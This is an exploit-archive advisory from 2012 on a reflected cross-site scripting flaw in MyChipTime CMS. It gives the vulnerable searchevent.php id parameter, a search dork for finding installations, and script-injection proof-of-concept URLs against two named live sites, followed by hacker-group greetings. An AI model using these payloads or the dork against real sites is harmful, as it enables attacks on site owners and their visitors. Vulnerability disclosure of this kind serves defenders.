MyChipTime CMS Cross Site Scripting

2012.05.02
Credit: Am!r
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

######################################################## # # Exploit Title : MyChipTime Cms Cross-Site Scripting Vulnerabilities # # Author : #BHG Security Center - IrIsT Security Team # # Discovered By : Am!r # # Home : http://Black-hg.Org - http://IrIsT.Ir # # Software Link : http://mychiptime.com/ # # Security Risk : High # # Version : All Version # # Tested on : GNU/Linux Ubuntu - Windows Server - win7 # # Dork : intext:"Powered By MyChipTime" # ######################################################## # # Expl0iTs : # # [TarGeT]/searchevent.php?id=[Xss] # ######################################################### # # athletelifestyle.com/searchevent.php?id=5391"><script>alert(/IrIsT.Ir/)</script> # # mychiptime.com/searchevent.php?id=5391"><script>alert(/IrIsT.Ir/)</script> # ######################################################### # # Special Thanks To : Net.Edit0r - 3H34N - A.Cr0x - 4M!N - ArYaIeIrAN - # # G3n3rall - Mr.XHat - Bl4ck.Viper - Dj.TiniVini - B3Hz4d - Crim3R - d3c0d3r - # # R3ZA BLACK HAT - F@rid - skote_vahshat - H4x0r - dr.tofan ... # ######################################################### # # GreetZ : All Active Member in #BHG Security Center & IrIsT.Ir # #########################################################

References:

http://black-hg.org
http://mychiptime.com/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top